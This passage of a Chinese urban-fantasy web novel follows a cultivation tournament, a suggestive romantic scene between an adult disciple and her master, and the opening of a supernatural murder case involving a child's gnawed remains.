大屏幕的积分榜上,龙璇玑0胜4负,排在最后一名。 她实在太不善于打架了,怀里的马尾拂尘虽为精钢打造,但在她手里发挥不了十分之一的作用,往往抵挡两招,见势不好就认输。 已经知道保送真相的傅清微半点也不为她担心。 但今天龙璇玑竟然展现出了不一样的实力。 因为她的菜有目共睹,所以抽到的对手并不将她放在心上,上台之前的表情和今天抽到赵阳夏直接轮空获胜的道友一模一样的高兴,这和白给一分有什么区别。 龙璇玑依然用一把拂尘,和往日一样费力地招架了两招,按理说第三招她就会认输了。对手胸有成竹地刺过去一剑,送到她身前三寸,却不能再进分毫。 怎么回事? 他的脚…… 对方低头看去,地面不知何时钻出了数道藤蔓,死死地缠住了他的双脚。 不,那不是藤蔓,好像是桃树的枝条。 青褐色的枝条结着花骨朵从地面钻出来,沿着他的双脚往上延伸。 什么东西?木系符箓? 对方挥剑砍断桃枝,龙璇玑朝后退了一步,不够吗? 龙璇玑再次催动妖力,这次不仅捆住了对方的脚,还狠狠地朝旁边一拽,对方用剑撑了一下才没有直接摔倒在地,剑尖刺地弯出柔软的弧度。 但没等他再次站稳身子,便被狠狠地拉向地面。 什么?怎么会—— 从地面突然伸出无数根桃枝,分别缠住他的腰和脖子,连带着双脚,向下死死一拽。 砰的一声,对方砸在地面,双手立刻也被缚住。 一个好好的人被五花大绑地横在了台上,有几朵桃枝的花骨朵还开了花,就像从人的身体开出来,诡异又美丽。 龙璇玑走过来,桃枝用力绞紧他的手腕,痛得对方不得不松开握剑的手,璇玑将剑踢远了些,松开缠住他脖子好几圈的桃枝,对方紫涨的脸色终于好了些,喘着气说:“我认输。” 束缚身体的桃枝流水般褪去,消失得无影无踪,对方浑身一轻,连忙捡起剑飞奔下台。 大屏幕上,龙璇玑积1分。 现场鸦雀无声。 傅清微张开的嘴巴轻轻闭上。 知道她原形以后她使出这些招傅清微惊讶过后,便低眸思索能不能用到自己的阵法里,木系似乎比土系更适合辅助。火生土,水生木,木生火,如果能凑齐五行之术…… 不知道她原形的人里,出身名门或见多识广的修士也识出了她实非人,乃是妖。各派对妖的态度不同,比如阁皂山是亲近派,民宿老板娘就是狐妖,和历代掌门关系都不错,有的则心存偏见,不将轻蔑厌恶写在脸上已是给灵管局面子。 那些见识浅一些的,只以为她用了木系术法,但是想不通她的符箓在哪儿?是怎么使用的? 众人神色各异。 起初还帮忙遮掩的考官:“……” 之前不还好好的嘛,怎么突然就自爆真身了。 龙璇玑鞠躬后下了台,依旧站到了她原先的角落,有的人远离孤立她也并不介意。 她不想让娘亲觉得她很没用,虽然她还是只不到百岁的小妖,在妖的寿命里本来就是未成年,但第一次见面要留下好印象。 龙璇玑:【[偷看]】 傅清微:【!!!】 龙璇玑开心地收起手机,周围有花瓣陆续飘下来,落在她头上和肩膀。 众人再次:“……” 摊牌了!不装了是吧? 璇玑刚化形的时候,不会控制妖力,开心的时候下花瓣雨,难过的时候也下花瓣雨,只是哭起来花瓣是湿的。她长大以后学会控制了,但是一旦有明显的情绪,还是会忍不住飘一点花瓣。 娘亲在院子里扫花瓣的时候,和她说过:一只妖能够有人类的情绪非常珍贵,她可以表现出来,而且要表现出来,喜欢她的人永远会喜欢她,不喜欢她的人不必在意。 每一年清净派的新弟子入门,她都会出山表演这招,把大家惊讶得一愣一愣的。 娘亲一定是喜欢看桃花的,否则也不会亲手种下她,日夜靠在她的树干上。 她以前、现在、将来都会下桃花给娘亲看。 肖灵秀把被孤立的龙璇玑捞了过去,和她们站在一起。 龙璇玑在她头顶也飘了两瓣桃花,比试都这么久了,她当然看得出谁是好人啦。 穆若水的比赛毫无悬念,五胜零负,位列积分榜第一。 同样没有败绩的是谷传音、公羊荪。 四胜一负的有肖灵秀、张岭…… 负了一场的肖灵秀撞上了谷传音,张岭更倒霉直接抽中了穆若水,他曾被考官夸赞的人剑合一在真正的剑仙面前黯然失色。但他确实是这届剑术造诣最高的人,穆若水特意拖缓了两个回合,让傅清微好好看一看,同龄人的剑技。 她在教授徒弟这块短板太多,她以前最擅长的剑法傅清微学得最差,她唯一不会的阵法,傅清微掌握得最好。 这难道还不能说明什么吗? 她亲自教,不如制造机会让她自己领悟。 穆若水招架了几个回合,不多的耐心告罄,以一通花里胡哨的剑雨宣告了比试的胜利。 如果…… 穆若水只是闪过一个念头,如果剑雨同时伴随漫天桃花,这个花哨程度是不是足以让傅清微尖叫到失去理智。 太花哨了,穆若水觉得她此生最没意义的东西和心思都花在傅清微身上了。 现阶段剑雨就够了。 傅清微每次都被迷得失神,下台都会激动地抱住她,今天也不例外。 但因为早上龙璇玑下的那场爱心雨,已经没人觉得她俩是单纯的师徒了,众人的视线纷纷投过来,以全新的目光看待二人。 虽说现代师徒恋已不如从前禁忌,但在场修士基本都有师承,一代入到自己和师父,都头皮发麻,况且这二人从不遮掩,大庭广众亲密搂抱,比普通道侣更加胆大妄为。 公羊荪再直也感受到了什么,只是有些懊恼自己没早察觉,反而说她们情同母女,只盼傅道友不要怪罪她。 傅清微自己抱她还不够,还要把穆若水的手也环在自己腰上。 人的胃口是一点一点喂大的,她们俩下山以后每天同床共枕,穆若水还含了她的手指,也用手指插了她的嘴巴,她不允许师尊再对她那么冷淡。 刚好穆若水也是一样,适应了亲密接触的身体只会想更加紧密地相拥,无法再回到原点。 就算心在叫嚣着不能再靠近,身体也会先一步投降。 她们已经走到这里了,每一步都水到渠成。 穆若水的手顺着傅清微的发丝穿梭,在后腰停了停,又往上回到背脊。 大屏幕上出现傅清微和对手的名字,傅清微把脸从师尊肩膀抬起来,说:“我去啦。” “旗开得胜。”观主嘴里也会有吉祥话,她真的比一开始改变了许多。 傅清微笑了笑,背剑上了赛场。 有了心上人的鼓励,本来就胜负对半开的傅清微在这场斗志愈发上升,她掌握的身法和阵法在每一场比试里都进步得肉眼可见,成长速度快得惊人。 傅清微接连掷出三道符箓,符火带动空气熊熊燃烧,地上的土刺出其不意地冒出一大片,令人防不胜防。 傅清微早已准备好的符箓在阵法最后一个缺口一拍,基本提前锁定了胜利。 四胜一负,积4分,排名第七。 第一轮单体对抗赛结束。 灵管局给众人放了一天假,让她们回去休整,第二轮的分组和具体任务另行通知。 名次尘埃落定,有人欢欣鼓舞,有人垂头丧气。 但在灵管局大楼的门打开,傍晚的阳光涌入,温柔的晚霞还没有散去,所有人都奔入了风里,像树木一样舒展和自由。 两位考官在台阶下看着,仿佛也想起了当年的自己。 龙璇玑应景地把自己的花瓣撒入了风中。 所有人都闻到了春天的到来。 * 傅、穆二人和龙璇玑顺路一道回酒店。 龙璇玑的存在感还不如穆若水怀里的小三花强。 如果她话多,穆若水说不定就不喜她分去傅清微的注意力,现在这样刚刚好。 傅清微的眼里还是只有她。 关上房门。 傅清微问她:“休息这天,你想去哪里?” 穆若水说:“回山上。” 傅清微动身收拾行李。 穆若水坐在床沿,足尖从后面轻轻踢了踢她肉厚的部位,问:“你打算拿清净派的怎么样?” “什么怎么样?”傅清微被她踢得身体一荡,心神跟着一荡,回道,“就是当朋友啊,不是和她说清了吗?” “那你和她说,不要管我叫师娘。” “为什么?”傅清微停下收拾的动作回头,昨晚不是还默认了吗? “不喜欢她和你关系那么亲近。” 承认师娘不就等于承认傅清微和她的母女关系了吗?比她这个师尊还亲。穆若水刚反应过来。 “原来如此。” 虽然有些惋惜,但师尊不是不喜欢她就好。师尊从不拐弯抹角地说话,说因为一就绝不会因为二。 傅清微:“晚点我发个微信和她说一下。” 龙璇玑的房间在走廊末端,她进屋之前先去敲了赵阳夏的房门,说是关心也好,直觉也罢,手已经叩上了门板,凝神细听。 叩叩叩—— 咔哒。 开门的声音响起得很快,赵道友穿着酒店的睡袍,出现在她的面前。 “怎么了龙道友?” “听说你今天身体不适请假了,贫道略通医术,特意来看能不能帮上忙。”龙璇玑盯住他三十多岁脸庞线条硬朗的脸。 “我睡了一天好多了,多谢道友关心。” “贫道替你把个脉吧。” “这……有劳道友。”赵阳夏侧过身把睡袍系得更紧了一些,礼貌地请她进屋,开着房间门。 龙璇玑收回脉枕,说:“确实无碍。” 赵阳夏再次道谢,将她一直送出房门。 龙璇玑坐在椅子里,脚踩在地毯上,左脚倒右脚地来回倒腾。 难道是她想多了? 桌上的手机震了一声。 傅清微:【我和你师娘先回家啦,有缘下个任务见】 傅清微:【对了,你师娘害羞,下次还是称呼她穆道友吧】 傅清微:【我还想向你请教木系术法呢,不知道人能不能学妖的道法,有空一起探讨啊】 龙璇玑看着一条一条的消息跳出来,还没想到上一条怎么回下一条就来了。 龙璇玑:“……” 这一世的娘亲话好多,多到她都不习惯了。 以前大部分时候都是她问一句,娘亲才答一句的。 龙璇玑:【好^_^】 她们要二人世界,自己已经是大孩子了,不可以跟在后面打扰她们。 能和娘亲见到面、加上微信就很好啦。 肖道友明天也约了她和公羊道友一起出去玩,肖道友是个好人,明天她要送她一枝花。 说句心里话,娘亲突然变成二十岁,性格也变了,龙璇玑也需要时间适应,做不到和小时候一样娘亲长娘亲短地绕着她的腿打转,师娘会不高兴的。 别看她迟钝,她什么都看得清。 娘亲的幸福就是她的幸福。 龙璇玑:【百年好合呀^_^】 傅清微对着看到这条微信的穆若水解释道:“就是说在一起一百年的意思,祝福我们健康长寿。” 穆若水一副“你拿我当傻子”的神情。 傅清微:“她小妖精不懂事乱说话,你别生气。” 穆若水:“谁是小妖精?” 傅清微弯着唇笑:“你是。” 穆若水:“……” 傅清微火速滑跪道歉,低头道:“我也不懂事我乱说话,对不起!” 穆若水有时候觉得和她计较太丢面子,不计较又咽不下这口气。 “你给我过来。” 傅清微小步快速过去,等着师尊的宠幸。 穆若水把她外套脱了,里面是一件打底的吊带小背心,细细的系带卡在雪白光滑的肩膀,贴身的版式胸型勾勒完全,两条手臂都露在外面。 转过身后背也一览无遗,蝴蝶骨微隆,翕张如蝶翼。 房间里开了暖气并不冷,傅清微仅着一件贴身小吊带,蹲在行李箱面前收拾,心想:师尊是有些变态在身上的。 但是她好喜欢。 整理好行李箱的傅清微自觉来到了穆若水身前,扶着她的肩膀,慢慢坐到了女人的腿上。 从前她也坐过一次,穆若水说她大胆,然后把她掀开了。 这次穆若水依旧说她:“大胆。” 过后搂住了她纤细的腰,埋首细细地嗅闻她颈项的香气。 脱了衣服更明显了,少了外物的干扰,只有她身体的味道。 穆若水的手抚上她雪白的肩头,指腹爱不释手这滑腻,丝毫不觉得这动作有多暧昧,或者说心知肚明地任由它蔓延。 她实在太喜欢她的身体了。 她们俩的师徒大防在一次一次的勾引和主动下摇摇欲坠。 不该,但是做不到。 穆若水看着她的脸在自己怀里一点一点地变红,指腹来到她的嘴唇,停顿了一会儿,让自己的喉咙吞咽完毕,方命令道:“张嘴。” 傅清微抬眼看到女人眸光深暗,直直地望着她。 师尊难道又要…… 傅清微害羞但是配合地张开了唇,穆若水的两根手指滑了进来,夹住了她的舌头。 傅清微:“唔唔?” 穆若水往里看,只盯着她指间隐现的湿红软嫩,说:“没事的,不要怕。” 傅清微忍不住吞咽了一口口水,口腔收缩的吸力让穆若水的手指好像也被吸了一下。 突如其来,穆若水几乎要溢出陌生的音调。 她控制不住地压抑低声说了一声“乖”,哄她道:“像上次那样,再吃一次。” 上次那样? 可现在是白天。 傅清微扭头看向窗外,啊,已经夜晚了,那没事了。 穆若水低声问:“还记得怎么做吗?” 傅清微当然记得。 她就知道,师尊想让自己吃她的手指了。 这种事难道会上瘾? 但她夹着自己舌头,让她不好发挥,于是她抬手握住女人的手腕,首先将她的手指慢慢退出来。 然后才轻车熟路地低下头,从指根起,慢慢舔吻湿润。 傅清微含着她的手指放进嘴里,习惯性抬眼看她表情,发现穆若水也正在专注地看着自己。 她们两个眼神对视,傅清微的脸刷的红透了。 上次她明明是垂下眼的,不怎么和她对上目光,傅清微才会那么泰然自若地取悦她,就当是独角戏。 一旦这场戏从头到尾都是两个人演,她全程看着自己怎么一点一点地将她润湿,卖力地塞进口中,一根一根地舔咬,到吃不下为止,情色横流。 傅清微似乎不可以了。 穆若水却不放过她,已经在她口中的指节夹弄她柔软的舌尖。 “继续。” 第80章 傅清微胸腔里重重地跳动了一下, 几乎要叫出来。 她深喘了一口气,眼尾沁出承受不住的湿润。 不知道是因为女人睥睨的神情,还是她命令的话语, 亦或是她眼神里第一次出现的侵略感。 穆若水空着的左手拭去她眼尾的泪意, 没有收回话。 傅清微只好继续。 她期待又对即将发生的事有种未知的恐惧。 傅清微抓着她的手继续舔吻她的指根, 比上次更加仔细,舌尖穿插她的指缝, 来回地照顾到每个细微的地方。 这次轮到她垂眼不敢看她。 穆若水左手撩开她的额发, 顺着她的脸颊摸到耳朵,轻轻地揉了揉。 傅清微鼻腔里发出一声低吟, 因为嘴巴无法张开, 只好闭紧来抵御头皮发麻的舒适。 穆若水的指节又被她情不自禁地吸了一下。 穆若水:“……” 她差点也像她一样闷哼出声。 傅清微等那一阵突如其来的悸动过去,在平均心率高于日常的心跳声里,对着她漂亮的手指重复之前的过程。 含、吸、咬、舔。 师尊修长的左手忽然捏住了她的后颈。 傅清微差点被自己的口水呛到, 原本就红的脸涨得更红了, 茫然地抬头望向女人。 穆若水手掌往上扶着她的后脑勺,右手在她口中动作了起来,进进出出。 傅清微被拨弄得毫无还手之力, 只能张着唇舌任由她玩弄,舌尖愈发湿红。 她的气喘得越来越急。 嘴唇红,舌头也红。 师尊怎么还不放开她…… 比上次都多那么多次了。 她不行了。 好涨,非常涨。 胸腔里的饱胀感要溢出来, 还有些别的也溢出来了。 她呜咽着往后躲,穆若水一手早就挡住了她的退路, 她退无可退, 咬了一下女人作乱的手指。 穆若水的气息微乱,声音也较平时低:“你不喜欢?” 傅清微:“……” 这问题问得, 她答不出口。 趁着天黑,傅清微温顺地舔了舔她刚刚咬的地方。 穆若水得到允许后继续。 傅清微仍在断断续续地呜咽,兜不住的被她咽了回去,一波一波的吸力挤压着穆若水的指节。 女人本来就自带粉晕的眼尾染上更饱满的深红,宛如胭脂。 整张白皙的脸都透出淡淡的慵懒粉色。 仿佛现下、此刻正在被她滋润。 傅清微看得入了迷。 她第一次知道做被动方也能得到这样的心理满足,能看到师尊这样的表情,让她做多久她都愿意。 干枯的骨架涨水一样,疯狂生长到血肉如初。 女人手指的动作放慢了下来,傅清微却半点没有放松下来,她的嘴巴好酸,已经快闭不上了。 但师尊虽然慢,但显然没有停的意思。 她还要玩她的嘴巴多久? 刚刚还愿意的傅清微立刻升起淡淡的后悔,真的要扛不住了。 她默默地想了想,然后悄悄瞧了她一眼,仿佛对上某个信号,她开始主动地加大了手指的阻力。 穆若水的手指被她含住,动得艰难,便多用了分力。 等傅清微撤去阻力,快起来的动作已经很难再降回去了。 傅清微承受不住的时候很可爱,会不管不顾地往她怀里躲,会紧紧地抱住她,但是今天她的嘴被堵住,抱起来不方便,于是在她怀里到处找地方钻。 眼泪也擦得她衣服到处都是。 最后等穆若水终于放开她,她一口咬在穆若水肩膀上,生动地诠释了什么叫以下犯上。 但穆若水没有责备她,反而一手环紧了她的腰,另一只手轻轻拍着她的后背,因为怀里的人还在剧烈地颤抖。 傅清微声线不稳地说:“你别拍。” 穆若水言听计从地停了手,倒是比先前听话多了。 傅清微伏在她肩头,偏头就是女人美玉无瑕的颈项,她凑了过去,薄唇似有若无地在上面碰了一下。 她重新趴在她怀里,平复自己这条被海浪打湿的小船。 恢复好了以后,傅清微又赖了一会儿才进浴室洗澡。 她褪下贴身的小吊带,可以看到自己因穆若水而产生的变化还没有完全消失,酸酸涨涨地持续着。 傅清微盯了一会儿,空气冷了反而更明显了。 “……” 算了,洗澡。 房间外的穆若水坐在沙发里,不再一身疲惫,而是闭上眼睛,肌肤的血色淡粉持续了许久。 良久,她睁开眼,恢复了平时的状态,又慢半拍地抬手探向自己的侧颈,指尖在某个地方碰了碰。 傅清微出来后,把换下来的衣服收进行李箱,拉好拉链将它竖起来,推出房间。 穆若水一身轻松地走在她后面,顺手拔走了门口的房卡。 行李箱的万向轮在走廊响了一会儿,消失在电梯里。 她们来的时候如此,去的时候也是如此,相伴在身边的始终只有彼此两人。 傅清微没有告诉璇玑她要回的家在哪,她以为自己对她有恩的某一世和现在肯定毫无瓜葛,尘归尘土归土。 其次她们真的不太熟,只是见过几次的赛博女儿,她现在的家具体在哪她连甘棠都没有告诉,甘棠一直以为她还住在租的近地铁小房子里。 第三其实是最重要,师尊不喜欢她太在意别人,更不允许她们俩的爱巢有别的人存在,猫除外。 在房间里耽搁了这么久,两人回到蓬莱观已经是半夜了。 穆若水面无表情地一手行李箱一手航空箱上山,傅清微身为柔弱不堪的凡人,两手空空,怪不好意思。 小三花在靠近道观后院还有几百米时便焦急地在航空箱里走来走去,归心似箭,虽然影响不了穆若水什么,但是成功地让她的脸变得更黑了。 穆若水忍不住指责她:“看看你教的好女儿!” 傅清微诚恳接受:“是是是,我的错。” 也不知道是谁天天抱在怀里,每天用手陪她玩。 自己都没有玩她的手那么多次。 想到自己今晚几个小时前还吃她的手指吃得上下流水,傅清微瞬间没有立场了,黑暗掩饰了她雪腻通红的耳根。 傅清微向她伸出手:“给我拿吧。” 穆若水没好气:“你自己还在我背上呢。” 也不怕风大闪了自己的舌头。 山里的夜路不好走,无论是穆若水送完东西下来接她,傅清微一个人留在下面等,还是傅清微陪她一道上去走山路,穆若水都不放心。 最后她把一家子都担在自己肩上,飞掠上山。 她心性养到如此地步,和从前相比不异于功德成圣。 听她这么一说,傅清微便试图从她后背下来,穆若水呵斥了她一声,“再动?掉下去我刚好少了个累赘。” 傅清微看着道观近在眼前,双手攀紧了她的肩膀,在停稳的那一刻一跃而下,落在地面。 一道黑影势如闪电从木门虚掩的门缝蹿出来,航空箱里的小三花立刻喵喵喵地回应起来,来回打转。 月华洒落,黑影原来是一只猫。 狸花女王一如既往地高冷,高昂着脑袋在航空箱边上走来走去,尾巴翘起来,黄色瞳仁在暗光下呈一道竖线,看向小三花驯养的人类奴仆。 ——脾气好的那位。 傅清微开了航空箱放两个小伙伴团聚。 她自己也和穆若水站到了一起,凑过来亲了亲她的脸颊。 顿了顿,她没有离开,而是依着自己的本能,唇瓣下移,在离她唇角不远的地方又轻柔地亲了一下。 穆若水故作严肃地板起脸:“我去洗澡,你自己先收拾。” 傅清微:“好的师尊。” 穆若水往温泉的方向去了。 等傅清微看不到她了,女人才不掩饰自己的轻快之色。 傅清微进门开了院子里的灯,把行李箱推了进去,对着门口团在一起打滚的两只猫招呼了一声,两猫抖擞皮毛,不约而同蹿到穆若水的棺材上打滚。 小狸花身为新晋一山之主,又是它的老大,一爪下去把小三花的脑袋按在怀里舔,舔得小三花脑袋湿漉漉,生无可恋。 傅清微录了个视频给师尊发过去。 穆慈:【[可爱星星眼]】 傅清微:【怎么还没洗澡?】 穆慈:【在脱衣服】 傅清微:“……” 傅清微遁走:【我去收拾房间】 冒着热气的温泉漫过穆若水的足尖,雪白的后背沉浸在热浪里,她一只手捧水浇在自己颈窝里,另一只手打算将手机送回岸边时手指不小心误触到了相机。 相机屏幕里映出夜空和星星。 穆若水试探地点了一下,镜头一转,变成她自己的脸,胸口以下掩在温泉里,雪沟若隐若现,皮肤被熏得微红。 穆若水发了张照片过去。 傅清微把今晚弄脏的内裤洗干净晾了,擦了擦手,站在院子里拿出手机。 淡绿色的月牙形温泉延伸到石壁,白气缭绕,视野微微往上抬,晨星闪烁,刚好是近到仿佛可以触摸到的星空。 照片美得像无需精修的旅游宣传片,但一想到拍摄的视角,那个人应该正在温泉池里,举着手机拍下这些,手机的那一头,就是她一丝不挂的身体。 傅清微无法再冷静地看待这张照片,院子里的凉风吹拂着她的脸。 她指腹大力摩挲着手机的金属机身边缘,低头长按选择了保存。 穆若水下山以后习惯穿丝绸的睡衣,短短几日就被傅清微调教出来,洗完澡就得穿睡衣,不能穿白天出行的行头。 这段时间在山下陪她,委屈了师尊。为了让她有个舒适的出浴体验,傅清微特意拿了睡衣给她送过去。 沙沙—— 低矮的灌木擦过小腿的声音。 穆若水靠在池壁泡热泉,听见脚步声长睫毛动了动,听清是谁以后动得更厉害了。 在傅清微彻底走近以后,她却宛如入定一般,端着一动不动,仿佛睡着了。 傅清微轻手轻脚把叠好的睡衣捧着放在了石头上。 穆若水等了半天,对方没走,但是也没别的动静……该不会又在玩手机吧?! 穆若水猛地睁开眼,傅清微背对着她,用手电筒打光,照着一本书在读,全神贯注。 身后的水声哗啦,傅清微坐在石壁的身子僵了僵,强迫自己将注意力集中在晦涩的古籍上。 穆若水穿着睡衣往回走,傅清微抱着她换下来的衣服和书本,跟在她身边。 和月色一样清静无声。 “师尊晚安。”傅清微送她到房门口。 “晚安。” 傅清微进了她对面的房间,关上门,开春以后窗户经常开着,所以她在窗前仍然能看到穆若水的房间。 透过凉如水的院落,脑海里浮现女人坐在池壁边缘的样子。 虽然只露了一双雪白的肩膀,但是沐浴在月光下好美。 出浴的瞬间长发未干,浸透了丝质衣料,润出深色,勾勒出贴身的曲线也好美。 刚刚她回来的时候特意和师尊错开了半步,因为没有人会在睡衣里穿内衣。 傅清微在窗前待了会儿,让风把自己的念头慢慢吹散,停在这里而不要带到梦里。 她往床边走去,把占据大床中央的小三花挪到里侧,掀被上了床,合上了眼帘。 山风送来一夜好眠。 * 山下的黎明比山上来得更早一些。 早晨起得最早的除了环卫工人、早餐店老板,就是趁清净出来遛狗的狗主人。 晁倩养了一只大型犬,为了心爱的狗狗不惜从城区搬到了郊区,每天是小区起得最早的人之一,她特意买了加长的狗绳,勉强能跟得上德牧的爆冲。 这天早上六点,天刚蒙蒙亮,她已经带狗出了门,见路上没人,她稍微放长了一点狗绳,让它跑一会儿。 晁倩活动筋骨,已经做好了跟着百米冲刺的准备。 只能冲刺一百米,多半米她都会死。 “闪电,跑。” 平时听到命令就会行动的德牧却犹豫地站在原地,不停地在空气里嗅闻着什么。 晁倩蹲了下来,抚了抚它的背脊,缓解它的焦虑。 “慢慢来,不着急。” 晁倩同时环视四周,空旷的街道目之所及只有一位穿着橙色背心的环卫工人,背对着她,看身形是位女性。 郊区车流稀少,她特意选的这条路又不是大道,几分钟才会经过一辆车。 前不着村后不着店,闪电的异常让她在清晨的冷风里汗毛竖了起来。 她默默地打开了紧急联系人的号码。 闪电嗅了嗅风里的气息,晁倩感觉手里的狗绳被拽了拽,闪电想去马路对面。 晁倩被它带着一路往前,过了马路,前方就是清理绿色垃圾桶的环卫工,一个背影,越靠近那个环卫工人,闪电越激动,回头朝晁倩叫了两声。 晁倩怕得要死,拉着闪电往回走,大型犬的力量比她大多了,真较起劲她根本拉不动。 晁倩心说宝贝你害死我了,一咬牙一跺脚,从环卫工人身边掠了过去。 狗也掠了过去,朝前面一个垃圾桶奔去。 “啊——!” 哎? 晁倩回头,和被她吓到叫出来的环卫工人四目相对。 闪电冲着垃圾桶狂吠不止。 晁倩意识到了什么,回来找环卫工人道:“阿姨,能把你工具借我一下吗?” 阿姨茫然,但是递了过来,一把捡落叶的叉子。 晁倩掂了掂,勉强顺手。 她瑟瑟发抖,又说:“阿姨您能陪我过去吗?” 阿姨人好,也答应了。 晁倩挽着阿姨的胳膊,掀开了垃圾桶的盖子,用叉子在里面翻找。 阿姨说:“你要找什么?阿姨比你熟练,要不我来吧?正好阿姨要清理这个垃圾桶。” 晁倩:“我也不知道,可能是会让人尖叫的东西。” 五分钟后,两个人的尖叫声形成了二重奏。 黑色塑料袋破开的一角里,露出了一节血淋淋的儿童腿骨,沾着新鲜的一点红肉。 阿姨晕了过去。 刺耳的警笛声响彻在城市上空。 黄色的警戒线第一时间拉了起来,警察在保护和整理现场,晁倩牵着狗站在旁边,不时偏过头去干呕。 一名警官越过警戒线大步走进来,利落地对她出示了证件,说:“你就是目击者?你是怎么发现袋子里有尸……” 晁倩:“呕。” 警官顿了顿,说:“……有东西的。” 晁倩把闪电牵过来,骄傲地说:“是闪电发现的,它是退役警犬。” 警官朝闪电敬了个礼。 闪电蹲坐在地上,上肢抬起,搭了一下她的手。 警官握了握闪电的手,对晁倩道:“麻烦晁女士跟我们回去做个笔录。” 晁倩:“好的好的,我可以带闪电一起去吗?它好久没回去过了。” 警官:“当然可以。” 鹤市公安局。 案件在经过初步的调查后直接转交给了刑侦支队。 塑料袋里的尸骨经法医鉴定,确认属于一名五岁男童。新鲜程度超乎想象,肉还是红的,连在断掉的残肢上,连外行人都看得出应该就死在昨夜,甚至附近的警方还没有接到儿童失踪的报案。 手段之残忍血腥,作案形式之大胆,近几年闻所未闻。 上峰立刻盖章为大案要案,却没有下令限时侦破,而是秘密封锁所有案件信息,一级机密,不得外传。 网上传播的有关信息立刻删除下架,尤其是照片绝不能外流。 负责本次案件的刑侦支队副队长白术拿起桌面上的照片,盯紧了仔细地看。 受害者腿骨上有几排密密麻麻的牙印,带着零星的红肉,让人联想到人类吃鸡腿骨时,没有啃干净的骨头。 法医给出的文字鉴定结果比较隐晦,白术刚刚和法医聊过,对方说是受害者应该是被吃掉的,还说了不少推断的细节。 白术走出来以后,不受控制地冲到卫生间吐了一回。 一名刑警说:“什么样的人有这么大的咬合力,还留下这么深的牙印?” 白术假设:“有没有可能不是人干的?” 刑警将自己的圆珠笔在桌面按下去,弹起来,思索道:“猛兽如果进城的话,应该会被人看到吧?” 白术摇了摇头,说:“联系我们的姊妹单位吧,这件案子的真凶仅凭我们抓不了。” 刚才说话的刑警哇了声,说:“是传说中的有关部门吗?我有没有荣幸见到?” 白术二指指了指自己的眼睛,又威胁地点了点他,对方立刻噤声。 白术走进办公室,关上房门,拨了一个电话出去。 “灵管局吗?我是市刑侦支队副队白术,有一件案子,我怀疑是超自然力量干的,需要你们的帮助。” “好,明天上午九点,我和你们的人碰面。” 与此同时,傅清微的手机叮的一声,收到了第二轮团队任务集合地点。 【明天九点,鹤市公安局】魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 80-90 第81章 【傅清微: 明天上午九点, 鹤市公安局门口,请你准时到达,切勿迟到】 团队考核任务出炉, 灵管局的这条通知以短信形式下发, 虽然没头没尾, 信息量极少,但确实是先前告知考试成绩的官方号码。 傅清微去看穆若水的手机。 穆若水说:“我没收到短信。” 傅清微一边说着“不可能啊”一边翻开了她的短信箱, 确实没有短信的踪影。 傅清微如蒙大难:“糟了!不会我们俩没分到同一个任务吧?” 穆若水态度十分无所谓:“我管她们分配什么, 反正我一定会跟你在一起。” 傅清微经过一开始的慌乱后也镇定下来,对啊, 师尊又不是真的来考灵管局的, 当然是要跟着她的,她在哪她去哪。 会不会就是因为这个原因,所以她才没收到短信。 以防万一傅清微去问了占科, 以占英的权限又经过了她师父, 才确切回复她:【观主想做什么就做什么,我们还不配给她下任务哈[私密吗喽.jpg]】 傅清微:【好的】 短信没有告知任务和同队成员,前者肯定打探不到, 后者勉强有些机会。 傅清微私聊了关系近的几位,问她们接到任务没有,既然局里的短信没有严格要求保密,那就是可以互通有无的, 占科说往届也是一样。 肖灵秀:【明天九点,鹤市公安局, 你呢?】 傅清微:【我也是】 肖灵秀:【好耶!刚好我和公羊道友、小璇玑在逛街, 代她们回复,我们仨都收到短信了, 是同一个时间地点】 傅清微顿时也开心起来:【[好耶.jpg]】 肖灵秀:【明天见傅道友,代我问穆道友好】 其他的人傅清微不熟,无从知晓,但现在小队至少有五个人,最多再有一两个,否则就太多人了——一共都不到三十人。 大部分都是自己认识的,傅清微的压力小了许多。 十几分钟后,龙璇玑单独给她发了条消息:【明天见[开心]】 傅清微也回复了她。 穆若水从旁幽幽地飘过来一句:“和别人明天见就这么开心,和我天天见所以没意思了是吧?” 傅清微:“……” 师尊这是哪里来的道理? 但傅清微已经很会哄她,甜言蜜语加上亲亲抱抱,闲着没事拿乔的观主招架了一会儿,便借口要出去给猫劝架,眉开眼笑地走进了院子里。 傅清微从后面抱住她的腰,又暧昧不堪地将脸贴上她的后背蹭了蹭,说:“我去练剑啦。” 穆若水抬手抚上她环在自己腰间的雪腕,顺着摸到她的手背,轻轻拍了拍。 “去吧。” 傅清微这才背着剑大步出门而去。 * 灵管局。 全名灵异事件调查和管理局,凡是超自然因素有关,危害社会治安,灵管局都有责任和义务去解决。但是灵管局不隶属任何官方机构,也没有庞大的天网,全国各地的灵异事件那么多,害人的未必件件都能察觉,反而会错漏不少。公安这种暴力机关恰恰相反,下属基层所极其之多,凶案丰富,技术严谨,凡有异常必见端倪。 所以两方多年来一直保持着深度的协作关系,一有要案,直接由专人对接,以最快速度维护社会稳定。 鹤市的儿童被害案转到灵管局以后,部门会议上因为派谁去执行任务出现了分歧。 直接导火索是灵管局现阶段人手严重不足。 鹤市周边异动不止,能派出去的都派得差不多了,连后勤都跟着出去了两位,现在就剩下俩在医院养伤的。 “可是她们甚至都不是正式成员,从来没有执行过任务。” “依我看还是从分局调人过来吧。” “总局都忙成这样,你觉得分局还有人手吗?” “不还有各地办事处吗?总有闲着的,总局下命令还能调不到人?” “这次调人来,那下次呢?次次找分局支援?你不要面子局里还要面子呢,到时候电话你去打。” “嘿,我说你这人——” “肃静。”端坐上首的女人发话盖章,简短但不容置疑,“今时不同往日,这批新人必须以最快的速度成长起来,本次考核实战全面代替模拟,散会!” “是!”众人站起来,合上黑色封皮的笔记本,随着女人离开的身影鱼贯而出。 不仅是傅清微这组,其他的组分到的任务也不再是模拟训练。局里根据之前观察到的每个人的水平设置了不同的分组,难度依次递减。 傅清微这组是综合实力最强的,本来想把谷传音和张岭也调过来,但是二人都性情高傲,本领高强,绝不屈居人下,把厉害的人都硬塞到一起恐怕会水土不服,所以二人分别带了一组执行其他任务,也填补其他组的战力水平,勉强均衡。 当晚灵管局又发了一条通知:【此次任务有死亡风险,如果谁有顾虑,可以提前退出考核,绝不追究。明早九点未准时出现在集合地点者,视为自愿退出】 看完这条消息,五个人的小群里便跳出消息。 【雌鹰特别行动队(5)】 肖灵秀:【都看到短信了吗?怕有人不好意思提退出,体贴地给了个台阶下,人还怪好嘞】 